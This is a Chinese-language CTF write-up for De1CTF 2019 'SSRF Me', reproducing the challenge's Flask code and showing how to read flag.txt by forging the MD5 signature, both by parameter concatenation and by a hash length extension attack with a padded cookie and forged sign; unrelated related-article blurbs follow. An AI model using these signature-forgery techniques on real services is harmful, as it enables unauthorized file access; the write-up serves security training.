[De1ctf 2019]SSRF Me

news2024/11/25 12:54:09

目录

具体做题分析:

字符串拼接:

哈希拓展攻击:


点开是一段flask代码,经过还原后格式如下:

#!/usr/bin/env python

# encoding=utf-8

from flask import Flask, request

import socket

import hashlib

import urllib

import sys

import os

import json


reload(sys)

sys.setdefaultencoding('latin1')


app = Flask(__name__)

secert_key = os.urandom(16)  #秘钥长度16



class Task:

    def __init__(self, action, param, sign, ip):

        self.action = action

        self.param = param

        self.sign = sign

        self.sandbox = md5(ip)

        

        if not os.path.exists(self.sandbox):  # SandBox For Remote_Addr

            os.mkdir(self.sandbox)


    def Exec(self):

        result = {}

        result['code'] = 500

        if self.checkSign():

            if "scan" in self.action:

                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')

                resp = scan(self.param)              

                if resp == "Connection Timeout":

                    result['data'] = resp

                else:

                    print resp

                    tmpfile.write(resp)

                

                tmpfile.close()

                result['code'] = 200

            

            if "read" in self.action:

                f = open("./%s/result.txt" % self.sandbox, 'r')

                result['code'] = 200

                result['data'] = f.read()   

        if result['code'] == 500:

            result['data'] = "Action Error"

        else:

            result['code'] = 500

            result['msg'] = "Sign Error"

        return result


    def checkSign(self):

        if getSign(self.action, self.param) == self.sign:

            return True

        else:

            return False

@app.route("/geneSign", methods=['GET', 'POST'])

def geneSign():

    param = urllib.unquote(request.args.get("param", ""))

    action = "scan"

    return getSign(action, param)

@app.route('/De1ta', methods=['GET', 'POST'])

def challenge():

    action = urllib.unquote(request.cookies.get("action"))

    param = urllib.unquote(request.args.get("param", ""))

    sign = urllib.unquote(request.cookies.get("sign"))

    ip = request.remote_addr
    

    if waf(param):

        return "No Hacker!!!!"
    

    task = Task(action, param, sign, ip)

    return json.dumps(task.Exec())



@app.route('/')

def index():

    return open("code.txt", "r").read()

def scan(param):

    socket.setdefaulttimeout(1)

    try:

        return urllib.urlopen(param).read()[:50]

    except:

        return "Connection Timeout"

def getSign(action, param):

    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):

    return hashlib.md5(content).hexdigest()

def waf(param):

    check = param.strip().lower()
    

    if check.startswith("gopher") or check.startswith("file"):

        return True

    else:

        return False

if __name__ == '__main__':

    app.debug = False

    app.run(host='0.0.0.0', port=80)

这段代码使用 Python 的 Flask 框架实现了一个简单的 Web 应用。以下是代码的基本功能:

  1. 定义了一个名为 Task 的类,该类用于处理用户请求并执行相应的操作。
  2. 实例化了一个名为 app 的 Flask 应用对象。
  3. 定义了一个 /geneSign 路由,用于生成签名。
  4. 定义了一个 /De1ta 路由,用于处理用户的请求,并返回 JSON 格式的响应结果。
  5. 定义了一个 / 路由,用于返回一个名为 code.txt 的文件内容。

在 Task 类中,有以下几个方法:

  • __init__(self, action, param, sign, ip):初始化方法,用于设置任务的属性,并创建一个与客户端 IP 相关的沙盒目录。
  • Exec(self):执行任务的方法,根据不同的操作类型执行相应的动作,并返回执行结果。
  • checkSign(self):检查签名的方法,验证请求中的签名是否正确。
  • scan(param):扫描方法,尝试连接给定的 URL 并返回前 50 个字符的内容。
  • getSign(action, param):生成签名的方法,使用 MD5 哈希算法对参数进行签名。
  • md5(content):计算 MD5 哈希值的方法。
  • waf(param):Web 应用防火墙(WAF)方法,用于检测参数是否包含潜在的攻击代码。

具体做题分析:

这里我们虽然无法直接读取flag.txt,但是可以传参给param参数读取

def scan(param):

    socket.setdefaulttimeout(1)

    try:

        return urllib.urlopen(param).read()[:50]

    except:

        return "Connection Timeout"

注意到一个生成签名的函数:

def getSign(action, param): 

return hashlib.md5(secret_key + param + action).hexdigest()

以下代码得知action默认为”scan”

@app.route("/geneSign", methods=['GET', 'POST'])

def geneSign():

    param = urllib.unquote(request.args.get("param", ""))

    action = "scan"

return getSign(action, param)

也就是说如果访问/geneSign?param=flag.txt ,会得到一个 md5(这个md5相当于“secret_key + flag.txt+ scan”的MD5加密)

注意到以下代码

if "scan" in self.action:

                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')

                resp = scan(self.param)

                

                if resp == "Connection Timeout":

                    result['data'] = resp

                else:

                    print resp

                    tmpfile.write(resp)

                

                tmpfile.close()

                result['code'] = 200

            

if "read" in self.action:

                f = open("./%s/result.txt" % self.sandbox, 'r')

                result['code'] = 200

                result['data'] = f.read()

  这段程序会根据传入的任务动作self.action来执行不同的操作。如果任务动作是"scan",那么程序会执行scan函数来进行扫描操作,并将扫描结果写入一个临时文件中,文件路径为当前沙箱目录下的result.txt文件。

如果任务动作是"read",则程序会读取之前保存在临时文件中的扫描结果,并将结果保存在响应消息中,然后返回响应码200表示操作成功。

 如果action里面是“readscan”或者“scanread”则会先扫描并写入结果,后读取结果并回显。显然我们要构造readsacn以下提供两种解法:

字符串拼接:

访问 /geneSign?param=flag.txtread ,得到md5(secret_key + flag.txtread+ scan)的值为33c3d402c2d927665edcfdbde564d14a (也就相当于action变成了readscan然后拼接秘钥和flag.txt加密了),然后抓包直接访问 /De1ta?param=flag.txt 且构造cookie请求头Cookie:action=readscan;sign=33c3d402c2d927665edcfdbde564d14a

哈希拓展攻击:

相关文章:哈希拓展攻击CTF题做法-CSDN博客

  首先在kali下载相关工具hash-ext-attack:

    git clone https://github.com/shellfeel/hash-ext-attack.git

    cd /home/kali/hash-ext-attack/

    pip install -r requirements.txt

  在secret_key + param + action里,已知secert_key = os.urandom(16)(长度16),已知明文flag.txt和scan,我们需要添加read。

把flag.txt算进秘钥长度里,则秘钥长度为16+8,已知明文为scan,已知hash(secret_key +flag.txt+scan的加密)为8370a8f86a7a74b4053d1bc554a9d126,

扩展字符为read,启动刚刚的脚本依次填入得到新明文和新hash,

然后访问 /De1ta?param=flag.txt抓包添加cookie:

Cookie:action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%E0%00%00%00%00%00%00%00read;sign=51550ee14b4e7b4e0479e5b44fc33d23

得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1366494.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

IDEA无公网环境ssh远程访问本地Linux服务器进行开发

文章目录 1. 检查Linux SSH服务2. 本地连接测试3. Linux 安装Cpolar4. 创建远程连接公网地址5. 公网远程连接测试6. 固定连接公网地址7. 固定地址连接测试 本文主要介绍如何在IDEA中设置远程连接服务器开发环境,并结合Cpolar内网穿透工具实现无公网远程连接&#xf…

P5534 【XR-3】等差数列————C++、C

目录 【XR-3】等差数列题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 样例 #2样例输入 #2样例输出 #2 提示 解题思路Code运行结果 【XR-3】等差数列 题目描述 小 X 给了你一个等差数列的前两项以及项数,请你求出这个等差数列各项之和。 等差数列&#…

深度解析分布式锁及实现方案

😄 19年之后由于某些原因断更了三年,23年重新扬帆起航,推出更多优质博文,希望大家多多支持~ 🌷 古之立大事者,不惟有超世之才,亦必有坚忍不拔之志 🎐 个人CSND主页——Mi…

告别内存容量焦虑,光威龙武系列DDR5内存条48GB才799

新年很多朋友又准备新装机或者升级内存了,我比较推荐直接用DDR5大容量的内容,像是光威龙武系列DDR5内存条性价比就非常高,能够满足专业玩家、创作者和高性能计算机用户的需求。这款涵盖多种存储规格,包括6400MHZ 242和6800MHZ 162…

【Vue3】2-5 : 指令系统与事件方法及传参处理

本书目录:点击进入 一、标签属性中的使用 - 指令系统 1.1 那么模板语法是否可以在标签属性中进行使用呢? ▶ 当然可以:使用 指令系统 二、指令系统 2.1 v-bind 2.2 v-on 三、实战 3.1 methods 选项 3.2 $event语法 一、标签属性中的使用 - 指令…

vue+springboot项目上传部署tomcat

下载及安装Tomcat 进入tomcat官网,Tomcat官网 选择需要下载的版本,点击下载下载路径一定要记住,并且路径中尽量不要有中文 下载后是压缩包 .zip,解压后 tomcat系统各个文件夹目录是什么意义: bin:放置的是…

有趣的前端知识(二)

推荐阅读 智能化校园:深入探讨云端管理系统设计与实现(一) 智能化校园:深入探讨云端管理系统设计与实现(二) 文章目录 推荐阅读HTML元素元素属性头部元素列表元素区块元素表单元素 颜色字符实体 HTML元素 …

即时设计:设计稿与PPT完美结合,让您的创意作品更具影响力

PPT助手 更多内容 在设计领域,将设计稿与PPT结合起来,可以让您的作品更具吸引力和影响力。为了满足这一需求,我们向您推荐一款强大的设计工具,它可以将设计稿导出为PPT文件,支持线上预览和编辑,让您的创意…

Spring学习 Spring AOP

4.Spring AOP 4.1.为什么要学习AOP? 案例:有一个接口Service有一个addUser方法,在调用addUser(被调用时打印调用前的毫秒数与调用后的毫秒数),其实现为: Service public class UserServiceImpl implements UserServi…

环信IM Demo登录方式如何修改为自己项目的?

在环信即时通讯云IM 官网下载Demo,本地运行只有手机验证码的方式登录?怎么更改为自己项目的Appkey和用户去进行登录呢? 👇👇👇本文以Web端为例,教大家如何更改代码来实现 1、 VUE2 Demo vue2…

2023十大最具商业影响力量子公司 | 光子盒年度系列

量子技术以其广泛的应用范围和对多个领域的深远影响,是当之无愧的“通用底座”技术,其潜在的产业变革力正在展现,尽管当前量子技术与人工智能或虚拟现实等技术领域相比,量子对大多数人来说还有些“看不透”。 2023年,量…

C#实现个人账本管理系统

git地址:https://gitee.com/myshort-term/personal-ledger-management-system 1.系统简介 LedgerManagementSystem是一个小型的个人账本管理系统,可对收支项目进行增加、删除、修改、查询以及导入和导出。可对每日的各类收支项目进行汇总并查看和修改收…

作业--day42

界面设计 MyProWin::MyProWin(QWidget *parent): QMainWindow(parent) {/**********窗口主体**********///窗口大小this->setFixedSize(644, 493);this->setWindowTitle("QQ");this->setWindowIcon(QIcon("C:/Users/10988/Downloads/pictrue/pictrue/…

计算机毕业设计 | SpringBoot+vue移动端音乐网站 音乐播放器(附源码)

1,项目背景 随着计算机技术的发展,网络技术对我们生活和工作显得越来越重要,特别是现在信息高度发达的今天,人们对最新信息的需求和发布迫切的需要及时性。为了满足不同人们对网络需求,各种特色,各种主题的…

函数战争(栈帧)之创建与销毁(c语言)(vs2022)

首先,什么是函数栈帧? C语言中,每个栈帧对应着一个未运行完的函数。栈帧中保存了该函数的返回地址和局部变量。栈帧也叫过程活动记录,是编译器用来实现过程函数调用的一种数据结构。 以问答的方式解释编译器与解释器-CSDN博客htt…

【C++入门】函数模板类模板(泛型编程)

目录 前言 1. 泛型编程 2. 函数模板 2.1 概念 2.2 语法格式 2.3 原理 2.4 函数模板的实例化 隐式实例化 显示实例化 2.5 思考 2.6 模板参数的匹配原则 3. 类模板 3.1 类模板的定义格式 3.2 类模板的实例化 总结 前言 函数模板和类模板是C中的两种重要的模板形式,…

day11 有效的括号 删除字符串中的所有相邻重复项 逆波兰表达式求值

题目1:20 有效的括号 题目链接:20 有效的括号 题意 判断字符串是否有效,若有效: 1)左括号必须用相应的右括号 2)左括号的闭合顺序正确 ({)}顺序不正确,应该是({}) …

深度解析Nginx负载均衡算法及配置实例

😄 19年之后由于某些原因断更了三年,23年重新扬帆起航,推出更多优质博文,希望大家多多支持~ 🌷 古之立大事者,不惟有超世之才,亦必有坚忍不拔之志 🎐 个人CSND主页——Mi…

Python3从零基础到入门(1)

目录 一、环境搭建 1.检测Python环境 2.下载安装Python环境 3.VSCode中配置Python环境 二、第一个程序 1.编码 2.输出 3.标识符 4.import 5.保留字 6.注释 7.缩进 三、变量和赋值 1.Python 中的变量 2.变量的赋值 3.多个变量赋值 四、基础数据类型 1.类型查看…

智能音箱喇叭杂音问题

智能音箱喇叭杂音问题 智能音箱生厂或出货过程会遇到多种喇叭播放有杂音的问题. 螺丝不匹配 智能音箱设备在生产过程,会有SPL测试喇叭失真,发现不良率8%的杂音问题. 分析原因是来料导入了新螺丝, 使用过程进入异物…